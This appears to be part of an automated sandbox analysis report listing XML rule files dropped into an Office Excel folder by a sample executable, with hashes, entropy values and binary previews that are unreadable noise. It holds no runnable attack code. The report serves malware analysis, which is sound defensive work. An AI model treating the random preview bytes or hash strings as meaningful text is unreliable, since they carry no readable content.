..oP.5P...R\]4.X.L.T..K.....SS.n..}...+V.:.N0.$.De.^t`..}.fq...v`.....K........;=>x....<.M...-.z.?uG;0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.882310785927787
Encrypted:	false
SSDEEP:	48:V0/CP9FVYkB54ffFVY0EPTP2xRoCDwT5JD:j9D4ffFAPTPLZL
MD5:	FE23B7F1CF00B01C923D22043F8B46CE
SHA1:	FD54AF4352C8957E0D7321DFDAE0B421112F272E
SHA-256:	6A5A0B6D90F1E0620C1E93ACB09AF4F6C234077670CD3FBB396BD06508BC6983
SHA-512:	A699BC186B34003E7FE932FE7AF626AA7C6D6898903BA56EA9E8C6FFA0B5FCD2535BB84D027F369B8A8DB36BE9A4616DDC54FA7E52DA8793FA21E7886546199A
Malicious:	false
Preview:	<?xml..M...>.\|..$YX#?.5I{...._mu..R....-.............3O..GW[4CLT......."v}.....W.H....".$..@.!q,.%D..2.<..b....~..9..(:^......S.tN..Q....N.M...u.h.am...8..}..........&i...sixI....1....CD....<M.0T.'...p.<..=..>..=iB..;1\..y..!..V....Ef.)..i\j..T.Q...s....{....x.k8...]g..)..b.`8H...P.V.....I......0x..I#...T..sJ.W.P.w..5r.D.......R.........IJJ..kR.MS.Z..fZ...Y.d.A...v~.)...3d...^6..EB..@...T6..J..5R.x...=r.f)...s...Z)..(.. ....?..\|OS..$;.,.. k.M[.B..oJ..D-.@]_Y.UO...;.x..Y..[.T!4.K......h.[N...+0_./...2...R.>.V.<.W.....c7\|........ z7O.B.P....n`.{.&....>...........q.7r{....O.?..M...........[..s(P.....!f..+.}..h?.g........C..l.9..E.../y...=.g.W..Mut.a...M4..oK.nK.._.w. 2......:.6.-.C<V..\|t..QX..W.9Vav... ..OQ...._.#.x....bjp..]..0..Y....x.L..-.s...j...v..>..p...2$.U.Y[.".^?W:y}......K..F...f....!..?.i..j.qwK.....B.....h.I.!W;z..Zk..g...T.S....w.;..+&....h\|..\|..4.vD..fozf.GV.u8.FE.9H.Y...6..Z.M...k>...............z/.}.F.......F`..;..c.._R.^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.901828659421951
Encrypted:	false
SSDEEP:	48:Plmrxvatc6P+Tsq1sqKcluCis7VUQgfRZmn7OWijXz6VsbfykJD:qQtREsqi0w/s7hgBxjXz6VayO
MD5:	CB772223FA15A9DAA237B2CCAA33877C
SHA1:	E4AF9449375CFE8AD16FD481896309DEF2156770
SHA-256:	36E0AE54F608C8D4EAD386E88DB8D5F7F97A7808183F81933820AA80FB4C4815
SHA-512:	B4A3AE71AE774CE754A1FF26104FF4380E9C4CD31B72EC9043A2ED77A4CFAE04B36EB205693ED25EB10E65E0ED9A78F0E7D34DA9A71F974A8FD700EA0C261EE5
Malicious:	false
Preview:	<?xml.w..H%.P.+.zm...>...}.....[......9E...?f..cq9../......V..1.9O.H5.=..`.~.......U...D...:rp.(1n[t.HC..Y...d.....0O..&.....6....'K.`...S.'..R.K....3HW..s.h3...rg.yUo.;y.H.;..4......;}o..s0Fd77q.3<M@\>gGW../Wn......(.2.....M1.a...m.O...?...j.)..J.p,..mB....>.Ij.N...M.v.C.".fxq.c.k.....;Q}..+...d..K.i>q...P!...0..8...z.........2!....NK...m.0.M8..&3.#..T...xVt.:....AF....H.....W\..]3Gb/.....:.sn.N..).h..1NWL.O....I.Ma/.>1h...B....&j..,Wl.....hD.Q?...7..J.......:6..1..3.o....oKge......&........X..c.....h..<..MZ..;JQ.....2j.[...\........o.0..;....G\F+..Jb...b\|(..:.t........?m.........p.Z\v;..?..._o.9.......r.'.Pq....3`tI..9O yx_n........PIZ.}.&......@oN.N...].*.-.......K.-.m.......e..`.&2...qd...;!K.l..D.Y..M-.......C2..M...X.T.J.j!...12..Bd.8.P`...u..W._.C]^.!{....5.....DL~I.K=....H..N.k....8j...'d..M..P....4...J...0..=T.?.\|\|.FQ..<N..40kv....q4c...b'.U...et.Z.^.b......xq.h..^F.._0.&.%....D.T.....O$....?#qk..{.. ...`H..v]Cs.O..0.V

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.88573456519407
Encrypted:	false
SSDEEP:	48:R7LAQAayN3uEIM2qVVt869o4WutpyZAbXCjWKSQcBYJD:R7TyNEGVt8r4WutpymWyJRBK
MD5:	C1C289113491733DA2F4B56E9EBCDB56
SHA1:	ED4AA8F27B976806BE61CD71E3C7961194D21D49
SHA-256:	538984084C1D1CF4D47ED0A49DAEFF05C337B9BCF5F43BD6F162F4E1F91C7C0C
SHA-512:	1ECEF7DC2A17380966ED7186A9137064326106AFB113CCA6B565E6C71979B867E8EC4FCA87F20AE1714D58DE70FCEED30DBA2C613EA84D08787203C0C249830D
Malicious:	false
Preview:	<?xml.....>.<../47.i=.....VWH.C+%..:KfY.T...J.W...-.x...AW.;...3.....a...:..8-Cx.......q..9Z.,..j.xn..e.eB.,....Jp.hUk.q..c.~ .......R.s.0..p.......^....1nI..>j.....#.l(.D!..2!....\|....6.....@..O$.Y...5sv.2.ah...7.D.....J.b.N5<.T.>...('..h.1<..f.>E`.....F.I..lrq..l..'............3.k2...e.E..nG..m.#C....e...w.0N.[r...5...V=.c-.m.d.}W......_Atl..pO+$@.P.(...R.c..w..dL.A....s...v..........L..(,d$t)..G.$..=..f..ZS.Ct;.\|......-...3gc...q.R.6.a.....e;q'.h:>d.....TV<..<..Q7D...s7.%......._..+Qu.q..D.I....Q.U.TO).>l1...5.c..M)(\.....W.D.."GbPaDIS+. .&.........$.8.\|[...6.Z.%...r..Oz.C.=.k.7.....).R......P.'..<.].;....{.+e>....N\......l]........2`YJ`..........%.%%5.I..m^...d.>.k..E...].........]..p..;5.a..d.{.7.D9%....t......xK....Ggc...~..jb....N...w..?B...~..u...f...<e.....k.K.W..k.;.,..}..3..~...a..N4.2W=7Y........&P.E!_..'6l..S.D...qC...{.....2....s{.h.....~.~ZL7../z%]-~.*....1Zk...-.\s..$g......u.Me...T<.i.T...m?..c.N.1..l....b.vid...H..92#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.840690346773571
Encrypted:	false
SSDEEP:	24:iC79AOgFQjQpjZwbq35QiYxNW+kl1q8JHtQBs4lAcCRY9pbD:l7OCkpjqbY5iNWTl1q2Nf4RIuJD
MD5:	B34BDA0AD73AD51A976ACCF2FBF53864
SHA1:	FEAF2BE7DFC0A7E794E8DA1F586A7EA73BAAAF1A
SHA-256:	1A31A062AA174F06D8FCEFD8E84E11792A0CD325CEBCDC2F376C2821E425D79E
SHA-512:	83B357042343F589F40C19960CF173A66366819CAA8FC6D3ECA39AFC3AD920F29C2364657BF005483A724A15DBB810C1AF009CF90B0DF9D85B5AA5FC551ED4FF
Malicious:	false
Preview:	<?xml.Z.\|.@.)......]3......e.q..l...y&c..j.k...........2.....,r....G........e.=...........4.6...,........T.RR.p,.].. .....Sr.....p.{>"V..L..2.b......:....]......b..(.f....qM..^.7Q.v...-..7{........%0.-......]Y..Z$i...t...)l.Y....x.N.(I.g..:/8.%..bU..9.X..N..nS..\|.z.7.../.61..Yo8[I5.R:....`.m.)...ktyz....9..',)..w.7<.Q..E.x...a.AK3.K..B...(.....N2h.s..F.h._...w...M.o........8..j.11..........v7 2....e...d'F....-.r.+.........h........'1.0.O........"......r4....8..../VgH....2..!...eB2....q..}.w...w........s.s...V.(.:Pu.. Hw..........[...xRb.J.:.. ......."......].@.dD..s5..o....a.....Z...T7^v.x.P...........0&.a...d.f...7.b{..90.oV......R.e....B.g..'.6}.h.. #.)....m.G.'.!..c..,F..u.......3p...:.T.w.9.....J..H%T..U8..m.W!..........D.A......3O.F.\....w...\|.!<..=/.........8)gTT(...z.......a..!.#....`W0.]?8.d6..0......v-.P..`jh../V..p.Ep%7..l..=.n.].F...7..%..m.....=."..3D{OWRIu........'.z./x~............A..g..4.*..?.F.....a].>..../.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.777379408530071
Encrypted:	false
SSDEEP:	24:eFrxfzMRpxTTBi2qKoTSEZ2bzIuP/9pbD:wVyX02qK+FSIeJD
MD5:	4D3D1956C78904A4A32DB13181CC412D
SHA1:	839874471A4BB8C1081C9F6326403B9D44E69E5C
SHA-256:	E2D750FEF4FD168DE04AAADD85068F6700C7CB65C10522E6CBD7B07F2FDAE19F
SHA-512:	8736772D63168B090BB39394F71C77512F903B98DF276A5808BC2098605498DA49A79A2E41F85BDA81353F3FC59C548DFF5374F2704CAA1079EAF1748E4CC938
Malicious:	false
Preview:	<?xml..e.\|-...^.\|!...%.....;.._YC....p...W...&..t..D.....C.....jU.......v.$....'.!...J.]...^......;..j.F,..Y..\|.+.....RY..wDe...s.....9.=g...L.}g>...g...._..=...N..G[..voT.Qy.3..DmU.....]I..... (...._.\.Q..h.f8/W."...........U...@....J......<...R.].7>-.i..S.S..../d.....KX..k.........l{i..O....:.......^.N.R..U".1@Z.....2..)......=$...J..\|S.77..\|...3y......CC.Q..U(.N.....m1;.>...a.....r=].8..G4...Y..0x....l...!f.....aP^....F.e).C..&.Ep=R...U>.kN...ke.....+..O..}vU...0~.kIK..........g......1Qo..s#QO..EdR..8..9.......q... ...2^}m....'0R.U....QO....s..c.6.X...pYn....6.N.c...C...\|.P.Y]z...B..VuX.Z\|..RL>f.S..KkU.x9.H...0..;.;x).i.vefqJD{Y..M)>Vq..w.Be.t.[.).c<.l....%CE..4..b..EJ.....tq..2s.$.H4>.!..t.[.~&y.-.F...y]..KY.0r...qZ&A...Z..}..'1{.D..i.Y.@M...g.H.J....;t01A.{..7.Y.`.V.G2...9..od.L.c..E\|2Yu.5,+v...n.3.t.Y[....4...t.[.I..."YJxr..D>.4_.R...Ca.....Y.p_..Z..../q...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.817861919018166
Encrypted:	false
SSDEEP:	24:X3PBY/MqkhM22ZzPsCHqUN8C0edwUZCzc9pSP4e5fqlcN50d9pbD:X3O/Ch12lsCKP1ejp3u4e5fqlwiJD
MD5:	C04F414323D40F2BF2AD4D657365A7EF
SHA1:	5E837CB28528D70F08E9B539BA6AF01A30F35C97
SHA-256:	51F353C6FCF99C06033AA52592531E8DADDEBA8C518EEF43944D937447EB49E1
SHA-512:	CC03BD4E9E43E7A910018AD25B6E68447A2C05753E0A61F4EEC7713D50915320B667FEB515223287A821C760CE8CCDF57140087A5807248F30EFBCFF647774D4
Malicious:	false
Preview:	<?xml.f$.b..s..../+D.........Q...M'...7_..%...R.....o...;gS!w..H.>...lZ.P..!i...I.k.b.=7IAR...o{..!......m^.dgy)..lK.qy..u_........z.O.<..\....m.{...}.t./.dj..y.k....Z\|.b....1..p..s...Dp.......R...F.trY.1>..3....q.q.@...~.G[...R7+...#......o.b[..i.....z.].1g..[9Xa.}1....^.6...t.Z.bG..(zD... ^.t..2Qd.Q.,.:....E..l'+:...H\%>...$.,.Q.G..t..Q^.2+...V.4\|.9.o..t....<R...K....8N.9E$.&.T#.t;UtS.I.%.N}'!.;hn..M....D(0.......t.....w.d.....Fm.......C..E..2.]oK%.^B.....2q).d.19/.S..:......!.8.g.Z..r..J....$...d..\|.*..<Wa...&w.....+..e...i..?..n.Z.9.<..+.j...?:..e+.f..}.,....e..R.z{s...YZ^......R.O.L..5......I.....y2..B,q.ty.-.n.M.......f.6..V...`c.52......&z.F.DAH.)f..S6..Z..,..na2{.f..+M.I-.n.....`4..........".1T._..o..D.......(..%b{..9(..}....~.E.I..B.a...B...A..M..-.r.o..c....@..Z..RZ..0.]...{E!F.@Y.a'..Ca...".X.~...........#DW....M....Mf..........m.,R.V..)..K#?.W.9.u.0.;7....c..\|._"#......T.@Y....M...W........}.bS\|.y..k.t.nC.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.839682969851539
Encrypted:	false
SSDEEP:	24:W3pPKofvod3jUhQG7yJSyr7trGMzRXFLa2gyopXyqBH9Agw0XqF2ko7nd9pbD:W7e9SWrGMz/bEXdB60a4VXJD
MD5:	EDD066547F5CAAC5A90CF57A099BBBB5
SHA1:	3935AA2A1CB6D4B43B1A29B702A1EB6413FCEBA4
SHA-256:	87E09EFAE4DF4453EE71215BAD95D45106B009FDB49B4F520F0A83C18D847960
SHA-512:	378A856ABB4EC6BCDCF3FD6E54075DAAC0CF6E2FE1C8356505CA58A7BCA86E21C0CEEC86F91B83CC08EA8D1F9B9E0CDDC5916AA440803F25C489FEAD3060437A
Malicious:	false
Preview:	<?xml~......J.'.....f.=.6e..7D.....).+v........O...if..G.{5.j..n/....8+.....]ED.....}]I....n.a.C....1.6.&..C.K1=J Kw...!.u.1;..u.PN.io...-5..&>.Q~......Y.........L.9 ..F3.1..S...n..F.O\|d.8.f.V..[G!Uy....3C...f4mj...8T..\....u......'.B........W}.N..F6-aRc.2$mB.@.Mh.$..JMA.&...\...I.r......m.e6....\HL.g,rr<...Q....}TKq....((...z.....W.......l]......9.G.)E......8.G..9K...6i2.=...W.M..v......Y+.z........u.N"CS..;.i..$N0.....l..l...`sX......h#.z.]I.;?...O.8.<.WH....[(@.{......h....#0......CB.5d.....T....qL.2l..v.d...:e..aCr\._...P..O..A....%f...F..N.''.^.}...39.p.cN(&j.l..........!ay6..R0._..uj..e.%0....R,.].7..-.om.:.?....B.;tQ.....=..o..h6..R..a.A...4..p..9....n...>, c...J....0K.."[.Ml...h..,^......"F.^....RK:....'...E'.r..\)s51...j..0...O.xa...}.....f.dG.....B..3......d..5...n.....> .O..*....J...f.#..M........yC".3.[.0.......T.J).. ...<y...V....NF.@....k...V1...6>...:.7..9...f f1U...e..p.-.F.,..W...no",kYTK1.A.../...U1..I.P...\`......z2..V1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.900624225853855
Encrypted:	false
SSDEEP:	48:KuRjSb6pN8v2e04QoseHxUt51vW7hd+ACJD:1YO/8vz0eRW51vGd+Ak
MD5:	533874B6B8893A4DD656B1375F07585C
SHA1:	AE1B892980F0C2A391B34EB2F71A92AC427A7789
SHA-256:	525A968044726841763F65AFD6AED9B20180169DC0EE0B50D1F09BC965E5E48D
SHA-512:	825FC1C0E82033ED996F06EC9763605D63A4893140117694A138FDFA683678E4B4F260E369653B9E238CCD199E867DD57B59207E4793374984807C59E0D669D4
Malicious:	false
Preview:	<?xml.0 .M.3R.^..Y@..F....g..@.OG...`r..F.;.{....?e.n;..L.B.t...8DG2.\)(....l8Y....H,e.sk...].........0./.HL:.-@.......?7ly.Wx\G...=.T.....!....{...V...\7/e.C!..+.2?......0h.ZT...zy...S;$&.._.y..l.#..V...M..ht.8\.......!...q2b..z...b.?.Ka._....:..\|Ln?,.....wf.j..y..V.....8...."..!.,.].........\].Hi=.r.k.nM..l...^`..)d\.~..d..%..7z.Lh....O2J..$...g...F.:.n$......^..#.....i....(..Bc5.u}b:Ha<^.{Qq.d...Q..=5.....\|k...3.#Cu.....W&..W%0...:.L.Feh..3.Hm..K.....e7Tw.2....9r.9).(.(.+8r..MX....q..M.`...G.o./.Ts.3G,f.pSd...QQ.M)...X.....}.d.Hn.. .v....Z..z.vs...).t....dP..v+1..j..:O.._..VIA./......Hj5.......Y..kh....^s.....a...4.%.M..a..@h.".t......g.).{...SB.S.W.UF&g{.......(.7.,........H.....?.f......g. .e..r..G\w..@....Z..J.a.&.#.>J7}F...x.._......l ...K6nt ..9.K...v9.e...A...\\|..&/...d...x.Bjt(......Y7.....HH.'pb%../..H.Z...?...6..[.OI.Pl..W^......d....#^.....Tq..\|?...x+..o....3..t.T...\|.*..N.Hp/Y.^gg..lt........>.._.E..V...:T..R...5.^o..1.b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.85263025836613
Encrypted:	false
SSDEEP:	24:egvrY7PqJfVxNt2IodN1AeeJKF50zDI1BjArPTydzCAw1RqJ5My9pbD:ecYeTf01AeeJv01B6P0zERq3HJD
MD5:	3C7E8E0D33710F4343EDF8F0BE9D2B8F
SHA1:	1D743ED6BA78B5886F9A3F119218F7C36332D6B5
SHA-256:	488A73004CE6CECAC6CC7F4C181947681D4560F7E2413B17B9501B00D343C8E1
SHA-512:	43B0809C11EEFD8E8ADB5D53A210E7E61E5D367950E77DBE1CC5B725192B097B56FF63AAD92C87E1CF7C96D1267343EABE4D2057D538EF606A00AF2F95EACC08
Malicious:	false
Preview:	<?xml.....l......E...U..O ds..DU.....p..\.q....e.%.~..%...2...2p./.,....Cj..HAJ.EmD.&.+}.{.._.......S.q=.U..Y..>.P..X....q.:..,.....sQ..k8m....HaA.@EM?Jq...FYC.1.k......PL...;j.g..ar......!].dE%...k.i...)>.$[.en._.N...;%...._....,2.....5^.H2N....s.=.[.......~..X.~0...,......m..N..6........+..6L.,.M@....J>....(..T..#.L...[...zf..l.ao..z.....V..'...\0w?1...g.....FSf.M/..VB~...ko....X........~...L..,.....<.......~D...:`.c.@...?g?s....Aw.F{..&V&y#...\..d...f.D...~...s.......L...v....^%..1N..v.]E.3....zyJ>..Ng...8c..L.P&?...x8...-..........3O!F...n0p...ti..P.o ..5..x......E... .n.../..t.]%C."].l..K.R.0.....!......>..\|.j..{.ch...cy.......uv.%...~...........dp.......P............^.:...._b...D-.uJ).vq...<"..{.P.F.}..'K`........=s....V...~.4\|...cS.....w..(a.G.k...a0x.J."d..2.....M.\,.@W.L...1.T<...[~..?..Hs..^R...K.$j..L.j,.e...zY....]c>.g.........y.I..s<.....e...3C...i....p.cje&.t..c.\....D...h.s5e<.5..3...x+}....j6j.`.{\{~/..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.89420585100943
Encrypted:	false
SSDEEP:	24:5+lMTi5MkNgcdDR+N/VPtNuJVGqp5M5B4YoY0JYo2/ejZhrYvOkUSHaqI//3ah9h:bTiFNgcdt4Hytp58Bo26ZhUBG/3UJD
MD5:	69EC38D8EB61B527257D82E0567939F8
SHA1:	F38896D3FBC9E940D85A47C71FDD1C72E2E8702A
SHA-256:	6B2E8D529E1F2C9BA6871791E11FFDF9614E4E78A0FC534641BCB0C5E63F9E99
SHA-512:	1200510F6C72092F1D7316D932C02F2CFF3C5EDCDC7896B9288EB69D1F229FE293BB9B636E8192C2D01AE84D3F4AC3398D9B8989A555E3C5B5A22A0377B16D30
Malicious:	false
Preview:	<?xmly)...$G..G."J..>R.(...@Gr.^O..'.......`...8..{...[4.z..o.C.o....&..#.t.".`...:?..E......h..#.z...(F~:+.c!..\|......V.Zj4..F...:..c...1..R.M.=.F.....{A..8..zzd.2.F..G.....5....KC<i.......R..r.{....V..`..!...'....t0..B...%.5..@..W....r.#<...5....i....Z"......._=Ah.U..]...Ll.@......b..../....51.7.hul...zzp.K.Z8.59....d{q2.r....;.).<rS.Q,...$$\|.~.9".W2..N@^...f..iw&.+.^...x.%.8....&.....z..vx0B.I.lB.`3..vp....nyw,.....}5l...!..p.KYO?..{Q.r.E.6!6.rs..;.)....U..z8.O.Sm.O.Rs.N......kW.1...........A....TKY....L..".....@.NT.!..O.......ar).....v3j.....x_.T..}...L.O.!!.8M.$.M.[..+.....g.9l......,mu!.s.RKY..V..#.%$Z8j..\i2.'.Ky..X}........3..........\|.c1{P7Z...P.0..[.x.ho...u6]*.,.GC9K. .T...q...&.n.2.....%./.W.!....#..S...C Ur......?..O..h..v.!.7...T!..v)!5..%.._.\|.a...).f.z..U...W#v34..Lw..\|5....iF....8M.YL:_85.......... .9.,.S&oTN..Ko.q<...b..>..d.......2.h..?...m.X.>...R.q........8....IS......R(Vf.Lf..c...U7kW.e.&..Z.0..Of.E.g.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.861743952948051
Encrypted:	false
SSDEEP:	24:KC2+wAnQqJFQZ1uRhe9tRaWDW7q7fJiFDKTE3mlyUbI/MdM7no9LM9pbD:/2+wCvSZ1u3eNaMW7qbJi9KnlUMdM7OA
MD5:	9E66FB1FEE49DF86F8B6DA5A9225EC58
SHA1:	4AEA3867D27AF0A3DAD66D5D55BECC90D8284F66
SHA-256:	92F85233CC395A05A2AB3F7113E64229A2E6735DA86E38C91CD9BE2959472063
SHA-512:	BDB90DA52BAF52283584856A463CD424F8B64C6FB64BDF594810CBC2E7B3D71D9D86256DD75F67EEE09E7F9E8B4C4E3AF26FDBED6B4279CE95E8E41FFBAA4ADA
Malicious:	false
Preview:	<?xml..W.....i+...t.Z.=-..@.E.P..a]....R)d.....Z1<(....bX.h.}1.]i........E+.....0a.].w..I.>.E..b...M..~..l5..J....3bs`..;...}Uv.`;...C......xER....'.>.. .n.O..}.....r...i..Q.........I.......'...DI.H.\.......G...U....gf7\|.&5......Z?1..e.....}g%.'oq...?.!>.(@}u....[.P5.....o3.J...Cq..5...X...?.oa.Z..Q?.:a.@^..9...T...d.\3..b..A@.R7...C.T.. ...fy.i.o..f.......C.du?,./:...:...H2JCA.......4.V.......2...._..C.s....l(.:v!...DHtOi&t:..R............Sq.p..M...7...2...k8tF........^.&.p..!...M6...Ww.Fa.(]..\?.l..\|...T05.HV..{...CQx..mK.c..Y,. 0.65Lj.l.l.....H..&.......2..A... ".n....O..G9a%..)....$!......'.4.c^rd7..:.@o...YN.i.M.[m....~.F.3.T&..&...<.4..m..<.!.h4W.w.[a.m)..R.i....O}......S9.ac...o.N (R....(~..6....0.n....~...#.H..v...fH.0.M.....d....;M...G..yd5...~8"N-/K.}.......J.w..A.8..0..7S.........Rv..D.A..I...n..=....\N<........X$Ns9.?P......J..2)....2.../1.....~.@.O..H.8}.\|xe..wrK.......ngv...dp.."YKo.......q.=#.6.I.Cw{...j.e.Z{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.910123498877044
Encrypted:	false
SSDEEP:	48:NKN0Ga7W5mrv0jFtqvzQCrXqSVLnWKHoWzutX967CJD:c6JW5HpsbfrXLWKHo1tF
MD5:	570F6B157A1305EDC227F3B0B4CE695D
SHA1:	147CDBB8A75BBFCC689E728146F889AB78EC5CDA
SHA-256:	89E15E370B7453286C7AB5038163358C1EC036DADF8E8BF890F3833A75D902F5
SHA-512:	9FFDD9E25A4F3A4B6CAB0CFEDB2B68A824C253BAD1BA80B23357DB1257F069681E25F5C99292DA1C5C97DA1640B4DA686923347927BD28B0DDF9430ABFCB584E
Malicious:	false
Preview:	<?xml...@.....{eN.....[K...[]..!..:....y1.......P.7[.t......`.....6^.-Z=..f...&..Z..C^.>j...k......p...............S........,.J.........../....T.5}.K...i... 6........R'%{........^.{;.a..I0.........g,l#........f..2..8.....PK..... .S.e..'.!..G..a:nR.5..2...+...B...~.....S......n....w)'V.T..NS;o.3..T...N..;.AEA.@U....;-N.e:oa.{...\<...!:}1..m.n6...z.-G.K7.YR.o..d..s..g..`j......k...t..:'F.-nk.:H9".m.].~:s.w.....<.....D.....%l....a..b:.....j.E3s6`-.f.....U...#....h>....$.....AQ.X....."0.hMR%.N...W..^8[...\...c.e&........o....Y-...l>..... 8.P.&.._..v.-....?+......:Jz@..E......6N.....F>.t..N.'T.T_....T,0.....:+..9...z>..H.ek..'..6.B.F..nXP.~..$..".O.B...z....y-.:.u.........D....f..a...1.....G.....uwe...p=......x....<@.q..A...O.H...0.R\|.c......DOk...-...vV.?.)....#....H..Qa}.......$T..n....Zv.X.....C50i.%..@#g...9x......o3....5..qx.E..n,.a..#\|PX.....(.&nK/...[2e$\|fG.I.......S.#[.-.$.3....."%@H ..u.p=....'.]....h.....K.`L......jY+...4.m.C....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.834980583004679
Encrypted:	false
SSDEEP:	24:eb2D8yHa7o++h/NNymbUENFECrf2sbHPnFT0OYT5JaKnAyb0Hwq7hQWa9pbD:ea4yHakXn3bfHf2UHPpnItnAyFqNDcJD
MD5:	46657BEDCD92227BC05B7E27DAD89B3D
SHA1:	70DCF1DDE24969F10DD947F41EB59A7A0E8EC9F4
SHA-256:	4838F077F73801DCDC4ED9AF9D040798C0FF0160D56DF40B071FDA00AAC0C256
SHA-512:	B3E35055294687FEE50247D18338E5525A17818E6771CB80C7CCD23109AD4978BBB8A921176525E50F33F99BF221F297664A773CEBE20C205973EE0FF9D78799
Malicious:	false
Preview:	<?xml..).A...........xjh......A.X...^T.........<fR-p_.k.x........`......k...]...s....Mk.:cn..9..DH..[.t...^.6...m.[.j.R..G..}.....O.H.W...0........H...4+n$..a;......-Px...u......F...'Q.a.c_q;.r..%}......N..'..a(.....`(..Y....m..Q...@...(..\......9.65..t1k....[.p....f4f..../....z]..dw...T.B.9`....(...\|....]9.?..5.e....(.r.*.f..........<...N.u..~.........6{.$S..yF..\.[.U....{.H...P....z..:...0..........K......(.N.&v.....`....f..!.........{.i.......j>...f.Uc..j..pz....{v..}......Q.b/a.c>...jx..)@.#......D.6.\..v...P...om...:p. .....)+:G....k......3[.SN.yvo.e..8.....xZ.n\|".mX..O.yf.^...aG....w..s.>.`e.A..C.}.k...m.hGC~..4......Q.u.5p..;6.w.......<.k.Z..#j....S......b.>..H2..-.X{.....((.67....$(I.w.??.#<...f."..n.c.....+j.x.n...F..<.0...C.L.a.u.0..h.....eM.Y...O.R~...(G.mE....C..B`n... .~-.nN.'..PO...C...E....=.....!c.0J...0u..o6..NvJ?.oX/...=F_....J%>).IN.8j.5..HX2..I.P.d.~Xv..-....4.A......N].BN.s.f.M..Mr.[.l.;.....fhzP.q.;W.......v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.907009214217089
Encrypted:	false
SSDEEP:	48:Lgvntcof3P49LLtSgOVPIDHPEzEvJt4lr3mLuE3muU5dASs0Z4adLo0JD:kvtRffGtlQAIAcjmaO9Ss0jLr
MD5:	8DE94956F2ABDC99870E11CE9EAA8155
SHA1:	B806FBABBCD4C8CE12F3565655934E8B0D85C4EB
SHA-256:	FDAC9296795A9F5B9081A041316B92BF668ECDDDAAFB923F73CEC69FBD3C1157
SHA-512:	B4F4730B646FA7C2CC7CA81418971AF06D0DC847D9D8902F6BC33FCBCD96FE0BD54FBF24383CDF641D578354688BA4AD4ABF7739CFA074B621345CAA2B116F05
Malicious:	false
Preview:	<?xml..I.....!.r..&...RF)..... ..#..U@im.:.?.!.jd......A...2.!.........&....x.fA...<.....f...q........."..ej..5]c.:..?`.[.a.3[..%/V........Z.....h.....H`....B+b.t.X..X...x...........!......nUD/..Oap.[.]...\|I@...V5..uA?`.&{9;..o....z.p._.@.aSQLM!..t.~q.s.@SB.w[M.L.Q..g...R..z.]H...v.1..F5N...........v.Q..F!?q.vuw..mY...bK..I@...1.h..{.T74w.w.&tCZDr.......B.O.I..d.Q.g/o.....].S..G`..G..y........y......'JJ......z.T.I..+.$...z=...)..)...f....Y.Mq.=......P8GC.f.2....N2...?.s......&.q......go ._e..F.-Q..g.Z....>.^yw04".i.&..\|=...R.H!DfdQ0l%EL.Y..[...A..........y.AX}HF.wm#j......n....A[..P[.Z.Er...._.M...q..-.....C.mR..Du....Z............{...:.....a....w...kk..$.4oF.a...%.1..\|k2...hB/...G..~G.t.T6G.....S..#. K.XO(.X......4........w..tTK...y.3.w,m..#%PY.!...x.>.T..S....0.;.7W.Ne..p....*YT.......e.V^4..o..n-3./...F#.F.cS.<+.8...6!....T..;...;[....}..\|......B.....x@..J.........#W../. .ft....q....0..y......O.l.M.....!......:.d....~.}oG's].U.S.'.....

